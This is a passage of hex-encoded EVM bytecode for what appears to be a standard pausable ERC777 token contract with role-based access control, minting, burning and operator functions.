d565b6107f4565b6040516102d69190612d79565b60405180910390f35b6102f960048036038101906102f491906130b6565b61097e565b60405161030691906130f2565b60405180910390f35b6103296004803603810190610324919061310d565b61099e565b005b6103336109c7565b6040516103409190613169565b60405180910390f35b610363600480360381019061035e919061310d565b6109d0565b005b61036d610a53565b005b61038960048036038101906103849190612fc3565b610a90565b005b610393610b39565b6040516103a09190613012565b60405180910390f35b6103b1610b42565b6040516103be9190612d79565b60405180910390f35b6103e160048036038101906103dc91906132b9565b610b59565b005b6103fd60048036038101906103f8919061336c565b610bbf565b60405161040a9190613012565b60405180910390f35b61041b610c07565b005b6104376004803603810190610432919061310d565b610c44565b6040516104449190612d79565b60405180910390f35b6104676004803603810190610462919061336c565b610caf565b005b610471610f10565b60405161047e9190612f3f565b60405180910390f35b6104a1600480360381019061049c9190613399565b610fa2565b005b6104ab610fcc565b6040516104b891906130f2565b60405180910390f35b6104db60048036038101906104d69190612fc3565b610fd3565b6040516104e89190612d79565b60405180910390f35b61050b60048036038101906105069190613468565b6110e1565b60405161051891906135cc565b60405180910390f35b61053b6004803603810190610536919061310d565b6111ed565b005b610557600480360381019061055291906135ee565b611216565b6040516105649190612d79565b60405180910390f35b610587600480360381019061058291906135ee565b6113c7565b6040516105949190613012565b60405180910390f35b6105a561144e565b6040516105b291906130f2565b60405180910390f35b6105c3611472565b6040516105d091906130f2565b60405180910390f35b6105f360048036038101906105ee919061336c565b611496565b005b61060f600480360381019061060a919061362e565b6116f7565b005b61062b600480360381019061062691906136cd565b611759565b005b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806106a0575061069f8261177f565b5b9050919050565b6060600480548060200260200160405190810160405280929190818152602001828054801561072b57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116106e1575b5050505050905090565b60606002805461074490613758565b80601f016020809104026020016040519081016040528092919081815260200182805461077090613758565b80156107bd5780601f10610792576101008083540402835291602001916107bd565b820191906000526020600020905b8154815290600101906020018083116107a057829003601f168201915b5050505050905090565b6000806107d26117e9565b90506107df8185856117f1565b600191505092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085c906137fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156108d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cc9061388e565b60405180910390fd5b60006108df6117e9565b905061090d8186868660405180602001604052806000815250604051806020016040528060008152506119bc565b610918858285611b23565b610944818686866040518060200160405280600081525060405180602001604052806000815250611baf565b6109728186868660405180602001604052806000815250604051806020016040528060008152506000611dc9565b60019150509392505050565b6000600a6000838152602001908152602001600020600101549050919050565b6109a78261097e565b6109b8816109b36117e9565b611f9b565b6109c28383612038565b505050565b60006012905090565b6109d86117e9565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90613920565b60405180910390fd5b610a4f8282612119565b5050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610a8581610a806117e9565b611f9b565b610a8d6121fb565b50565b7f12ff340d0cd9c652c747ca35727e68c547d0f0bfa7758d2e77f75acef481b4f2610ac281610abd6117e9565b611f9b565b610aca610b42565b15610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b019061398c565b60405180910390fd5b610b348383604051806020016040528060008152506040518060200160405280600081525061229d565b505050565b60006001905090565b6000600960009054906101000a900460ff16905090565b610b6a610b646117e9565b86611216565b610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba090613a1e565b60405180910390fd5b610bb8858585858560016122b1565b5050505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610c3981610c346117e9565b611f9b565b610c416123d1565b50565b6000600a600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b8073ffffffffffffffffffffffffffffffffffffffff16610cce6117e9565b73ffffffffffffffffffffffffffffffffffffffff161415610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90613ab0565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e0f5760076000610d836117e9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff0219169055610eac565b600160066000610e1d6117e9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b610eb46117e9565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167ff4caeb2d6ca8932a215a353d0703c326ec2d81fc68170f320eb2ab49e9df61f960405160405180910390a350565b606060038054610f1f90613758565b80601f0160208091040260200160405190810160405280929190818152602001828054610f4b90613758565b8015610f985780601f10610f6d57610100808354040283529160200191610f98565b820191906000526020600020905b815481529060010190602001808311610f7b57829003601f168201915b5050505050905090565b610fc7610fad6117e9565b8484846040518060200160405280600081525060016122b1565b505050565b6000801b81565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103b906137fc565b60405180910390fd5b600061104e6117e9565b905061107c8182868660405180602001604052806000815250604051806020016040528060008152506119bc565b6110a8818286866040518060200160405280600081525060405180602001604052806000815250611baf565b6110d68182868660405180602001604052806000815250604051806020016040528060008152506000611dc9565b600191505092915050565b60608282905067ffffffffffffffff811115611100576110ff61318e565b5b60405190808252806020026020018201604052801561113357816020015b606081526020019060019003908161111e5790505b50905060005b838390508110156111e6576111b53085858481811061115b5761115a613ad0565b5b905060200281019061116d9190613b0e565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050612474565b8282815181106111c8576111c7613ad0565b5b602002602001018190525080806111de90613ba0565b915050611139565b5092915050565b6111f68261097e565b611207816112026117e9565b611f9b565b6112118383612119565b505050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061132e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561132d5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b806113bf5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b7f12ff340d0cd9c652c747ca35727e68c547d0f0bfa7758d2e77f75acef481b4f281565b61149e6117e9565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561150c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150390613c5b565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115ff5760016007600061156c6117e9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611693565b6006600061160b6117e9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690555b61169b6117e9565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f50546e66e5f44d728365dc3908c63bc5cfeeab470722c1677e3073a6ac294aa160405160405180910390a350565b6117086117026117e9565b85611216565b611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e90613a1e565b60405180910390fd5b611753848484846124a1565b50505050565b61177b6117646117e9565b8383604051806020016040528060008152506124a1565b5050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185890613ced565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c890613d7f565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119af9190613012565b60405180910390a3505050565b6000731820a4b7618bde71dce8cdc73aab6c95905fad2473ffffffffffffffffffffffffffffffffffffffff1663aabbb8ca877f29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe8956040518363ffffffff1660e01b8152600401611a2d929190613dae565b602060405180830381865afa158015611a4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6e9190613dec565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611b1a578073ffffffffffffffffffffffffffffffffffffffff166375ab97828888888888886040518763ffffffff1660e01b8152600401611ae796959493929190613e63565b600060405180830381600087803b158015611b0157600080fd5b505af1158015611b15573d6000803e3d6000fd5b505050505b50505050505050565b6000611b2f84846113c7565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611ba95781811015611b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9290613f1e565b60405180910390fd5b611ba884848484036117f1565b5b50505050565b611bbb868686866126f4565b60008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890613fb0565b60405180910390fd5b8381036000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cd49190613fd0565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f06b541ddaa720db2b10a4d0cdac39b8d360425fc073085fac19bc82614677987878787604051611d5393929190614026565b60405180910390a48473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611db89190613012565b60405180910390a350505050505050565b6000731820a4b7618bde71dce8cdc73aab6c95905fad2473ffffffffffffffffffffffffffffffffffffffff1663aabbb8ca877fb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b6040518363ffffffff1660e01b8152600401611e3a929190613dae565b602060405180830381865afa158015611e57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7b9190613dec565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611f2a578073ffffffffffffffffffffffffffffffffffffffff166223de298989898989896040518763ffffffff1660e01b8152600401611ef396959493929190613e63565b600060405180830381600087803b158015611f0d57600080fd5b505af1158015611f21573d6000803e3d6000fd5b50505050611f91565b8115611f9057611f4f8673ffffffffffffffffffffffffffffffffffffffff1661274e565b15611f8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8690614103565b60405180910390fd5b5b5b5050505050505050565b611fa58282610c44565b61203457611fca8173ffffffffffffffffffffffffffffffffffffffff166014612771565b611fd88360001c6020612771565b604051602001611fe99291906141f7565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202b9190612f3f565b60405180910390fd5b5050565b6120428282610c44565b612115576001600a600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506120ba6117e9565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6121238282610c44565b156121f7576000600a600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061219c6117e9565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b612203610b42565b612242576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122399061427d565b60405180910390fd5b6000600960006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6122866117e9565b604051612293919061429d565b60405180910390a1565b6122ab8484848460016129ad565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612321576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123189061432a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612391576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238890614396565b60405180910390fd5b600061239b6117e9565b90506123ab8188888888886119bc565b6123b9818888888888611baf565b6123c881888888888888611dc9565b50505050505050565b6123d9610b42565b15612419576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124109061398c565b60405180910390fd5b6001600960006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861245d6117e9565b60405161246a919061429d565b60405180910390a1565b6060612499838360405180606001604052806027815260200161475060279139612b8b565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250890614428565b60405180910390fd5b600061251b6117e9565b905061252c818660008787876119bc565b61253981866000876126f4565b60008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050848110156125bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b6906144ba565b60405180910390fd5b8481036000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550846001600082825461261691906144da565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fa78a9be3a7b862d26933ad85fb11d80ef66b8f972d7cbba06621d583943a409887878760405161267e93929190614026565b60405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516126e49190613012565b60405180910390a3505050505050565b6126fc610b42565b1561273c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127339061398c565b60405180910390fd5b61274884848484612c58565b50505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b606060006002836002612784919061450e565b61278e9190613fd0565b67ffffffffffffffff8111156127a7576127a661318e565b5b6040519080825280601f01601f1916602001820160405280156127d95781602001600182028036833780820191505090505b5090507f30000000000000000000000000000000000000000000000000000000000000008160008151811061281157612810613ad0565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061287557612874613ad0565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026128b5919061450e565b6128bf9190613fd0565b90505b600181111561295f577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061290157612900613ad0565b5b1a60f81b82828151811061291857612917613ad0565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c94508061295890614568565b90506128c2565b50600084146129a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161299a906145de565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a149061464a565b60405180910390fd5b6000612a276117e9565b9050612a3681600088886126f4565b8460016000828254612a489190613fd0565b92505081905550846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a9d9190613fd0565b92505081905550612ab48160008888888888611dc9565b8573ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f2fe5be0146f74c5bce36c0b80911af6c7d86ff27e89d5cfa61fc681327954e5d878787604051612b1593929190614026565b60405180910390a38573ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051612b7b9190613012565b60405180910390a3505050505050565b6060612b968461274e565b612bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bcc906146dc565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1685604051612bfd9190614738565b600060405180830381855af49150503d8060008114612c38576040519150601f19603f3d011682016040523d82523d6000602084013e612c3d565b606091505b5091509150612c4d828286612c5e565b925050509392505050565b50505050565b60608315612c6e57829050612cbe565b600083511115612c815782518084602001fd5b816040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cb59190612f3f565b60405180910390fd5b9392505050565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b612d0e81612cd9565b8114612d1957600080fd5b50565b600081359050612d2b81612d05565b92915050565b600060208284031215612d4757612d46612ccf565b5b6000612d5584828501612d1c565b91505092915050565b60008115159050919050565b612d7381612d5e565b82525050565b6000602082019050612d8e6000830184612d6a565b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612deb82612dc0565b9050919050565b612dfb81612de0565b82525050565b6000612e0d8383612df2565b60208301905092915050565b6000602082019050919050565b6000612e3182612d94565b612e3b8185612d9f565b9350612e4683612db0565b8060005b83811015612e77578151612e5e8882612e01565b9750612e6983612e19565b925050600181019050612e4a565b5085935050505092915050565b60006020820190508181036000830152612e9e8184612e26565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ee0578082015181840152602081019050612ec5565b83811115612eef576000848401525b50505050565b6000601f19601f8301169050919050565b6000612f1182612ea6565b612f1b8185612eb1565b9350612f2b818560208601612ec2565b612f3481612ef5565b840191505092915050565b60006020820190508181036000830152612f598184612f06565b905092915050565b612f6a81612de0565b8114612f7557600080fd5b50565b600081359050612f8781612f61565b92915050565b6000819050919050565b612fa081612f8d565b8114612fab57600080fd5b50565b600081359050612fbd81612f97565b92915050565b60008060408385031215612fda57612fd9612ccf565b5b6000612fe885828601612f78565b9250506020612ff985828601612fae565b9150509250929050565b61300c81612f8d565b82525050565b60006020820190506130276000830184613003565b92915050565b60008060006060848603121561304657613045612ccf565b5b600061305486828701612f78565b935050602061306586828701612f78565b925050604061307686828701612fae565b9150509250925092565b6000819050919050565b61309381613080565b811461309e57600080fd5b50565b6000813590506130b08161308a565b92915050565b6000602082840312156130cc576130cb612ccf565b5b60006130da848285016130a1565b91505092915050565b6130ec81613080565b82525050565b600060208201905061310760008301846130e3565b92915050565b6000806040838503121561312457613123612ccf565b5b6000613132858286016130a1565b925050602061314385828601612f78565b9150509250929050565b600060ff82169050919050565b6131638161314d565b82525050565b600060208201905061317e600083018461315a565b92915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6131c682612ef5565b810181811067ffffffffffffffff821117156131e5576131e461318e565b5b80604052505050565b60006131f8612cc5565b905061320482826131bd565b919050565b600067ffffffffffffffff8211156132245761322361318e565b5b61322d82612ef5565b9050602081019050919050565b82818337600083830152505050565b600061325c61325784613209565b6131ee565b90508281526020810184848401111561327857613277613189565b5b61328384828561323a565b509392505050565b600082601f8301126132a05761329f613184565b5b81356132b0848260208601613249565b91505092915050565b600080600080600060a086880312156132d5576132d4612ccf565b5b60006132e388828901612f78565b95505060206132f488828901612f78565b945050604061330588828901612fae565b935050606086013567ffffffffffffffff81111561332657613325612cd4565b5b6133328882890161328b565b925050608086013567ffffffffffffffff81111561335357613352612cd4565b5b61335f8882890161328b565b9150509295509295909350565b60006020828403121561338257613381612ccf565b5b600061339084828501612f78565b91505092915050565b6000806000606084860312156133b2576133b1612ccf565b5b60006133c086828701612f78565b93505060206133d186828701612fae565b925050604084013567ffffffffffffffff8111156133f2576133f1612cd4565b5b6133fe8682870161328b565b9150509250925092565b600080fd5b600080fd5b60008083601f84011261342857613427613184565b5b8235905067ffffffffffffffff81111561344557613444613408565b5b6020830191508360208202830111156134615761346061340d565b5b9250929050565b6000806020838503121561347f5761347e612ccf565b5b600083013567ffffffffffffffff81111561349d5761349c612cd4565b5b6134a985828601613412565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b600081519050919050565b600082825260208201905092915050565b6000613508826134e1565b61351281856134ec565b9350613522818560208601612ec2565b61352b81612ef5565b840191505092915050565b600061354283836134fd565b905092915050565b6000602082019050919050565b6000613562826134b5565b61356c81856134c0565b93508360208202850161357e856134d1565b8060005b858110156135ba578484038952815161359b8582613536565b94506135a68361354a565b925060208a01995050600181019050613582565b50829750879550505050505092915050565b600060208201905081810360008301526135e68184613557565b905092915050565b6000806040838503121561360557613604612ccf565b5b600061361385828601612f78565b925050602061362485828601612f78565b9150509250929050565b6000806000806080858703121561364857613647612ccf565b5b600061365687828801612f78565b945050602061366787828801612fae565b935050604085013567ffffffffffffffff81111561368857613687612cd4565b5b6136948782880161328b565b925050606085013567ffffffffffffffff8111156136b5576136b4612cd4565b5b6136c18782880161328b565b91505092959194509250565b600080604083850312156136e4576136e3612ccf565b5b60006136f285828601612fae565b925050602083013567ffffffffffffffff81111561371357613712612cd4565b5b61371f8582860161328b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061377057607f821691505b6020821081141561378457613783613729565b5b50919050565b7f4552433737373a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006137e6602483612eb1565b91506137f18261378a565b604082019050919050565b60006020820190508181036000830152613815816137d9565b9050919050565b7f4552433737373a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613878602683612eb1565b91506138838261381c565b604082019050919050565b600060208201905081810360008301526138a78161386b565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b600061390a602f83612eb1565b9150613915826138ae565b604082019050919050565b60006020820190508181036000830152613939816138fd565b9050919050565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b6000613976601083612eb1565b915061398182613940565b602082019050919050565b600060208201905081810360008301526139a581613969565b9050919050565b7f4552433737373a2063616c6c6572206973206e6f7420616e206f70657261746f60008201527f7220666f7220686f6c6465720000000000000000000000000000000000000000602082015250565b6000613a08602c83612eb1565b9150613a13826139ac565b604082019050919050565b60006020820190508181036000830152613a37816139fb565b9050919050565b7f4552433737373a20617574686f72697a696e672073656c66206173206f70657260008201527f61746f7200000000000000000000000000000000000000000000000000000000602082015250565b6000613a9a602483612eb1565b9150613aa582613a3e565b604082019050919050565b60006020820190508181036000830152613ac981613a8d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b60008083356001602003843603038112613b2b57613b2a613aff565b5b80840192508235915067ffffffffffffffff821115613b4d57613b4c613b04565b5b602083019250600182023603831315613b6957613b68613b09565b5b509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613bab82612f8d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613bde57613bdd613b71565b5b600182019050919050565b7f4552433737373a207265766f6b696e672073656c66206173206f70657261746f60008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c45602183612eb1565b9150613c5082613be9565b604082019050919050565b60006020820190508181036000830152613c7481613c38565b9050919050565b7f4552433737373a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613cd7602583612eb1565b9150613ce282613c7b565b604082019050919050565b60006020820190508181036000830152613d0681613cca565b9050919050565b7f4552433737373a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d69602383612eb1565b9150613d7482613d0d565b604082019050919050565b60006020820190508181036000830152613d9881613d5c565b9050919050565b613da881612de0565b82525050565b6000604082019050613dc36000830185613d9f565b613dd060208301846130e3565b9392505050565b600081519050613de681612f61565b92915050565b600060208284031215613e0257613e01612ccf565b5b6000613e1084828501613dd7565b91505092915050565b600082825260208201905092915050565b6000613e35826134e1565b613e3f8185613e19565b9350613e4f818560208601612ec2565b613e5881612ef5565b840191505092915050565b600060c082019050613e786000830189613d9f565b613e856020830188613d9f565b613e926040830187613d9f565b613e9f6060830186613003565b8181036080830152613eb18185613e2a565b905081810360a0830152613ec58184613e2a565b9050979650505050505050565b7f4552433737373a20696e73756666696369656e7420616c6c6f77616e63650000600082015250565b6000613f08601e83612eb1565b9150613f1382613ed2565b602082019050919050565b60006020820190508181036000830152613f3781613efb565b9050919050565b7f4552433737373a207472616e7366657220616d6f756e7420657863656564732060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b6000613f9a602783612eb1565b9150613fa582613f3e565b604082019050919050565b60006020820190508181036000830152613fc981613f8d565b9050919050565b6000613fdb82612f8d565b9150613fe683612f8d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561401b5761401a613b71565b5b828201905092915050565b600060608201905061403b6000830186613003565b818103602083015261404d8185613e2a565b905081810360408301526140618184613e2a565b9050949350505050565b7f4552433737373a20746f6b656e20726563697069656e7420636f6e747261637460008201527f20686173206e6f20696d706c656d656e74657220666f7220455243373737546f60208201527f6b656e73526563697069656e7400000000000000000000000000000000000000604082015250565b60006140ed604d83612eb1565b91506140f88261406b565b606082019050919050565b6000602082019050818103600083015261411c816140e0565b9050919050565b600081905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b6000614164601783614123565b915061416f8261412e565b601782019050919050565b600061418582612ea6565b61418f8185614123565b935061419f818560208601612ec2565b80840191505092915050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b60006141e1601183614123565b91506141ec826141ab565b601182019050919050565b600061420282614157565b915061420e828561417a565b9150614219826141d4565b9150614225828461417a565b91508190509392505050565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b6000614267601483612eb1565b915061427282614231565b602082019050919050565b600060208201905081810360008301526142968161425a565b9050919050565b60006020820190506142b26000830184613d9f565b92915050565b7f4552433737373a2073656e642066726f6d20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614314602283612eb1565b915061431f826142b8565b604082019050919050565b6000602082019050818103600083015261434381614307565b9050919050565b7f4552433737373a2073656e6420746f20746865207a65726f2061646472657373600082015250565b6000614380602083612eb1565b915061438b8261434a565b602082019050919050565b600060208201905081810360008301526143af81614373565b9050919050565b7f4552433737373a206275726e2066726f6d20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614412602283612eb1565b915061441d826143b6565b604082019050919050565b6000602082019050818103600083015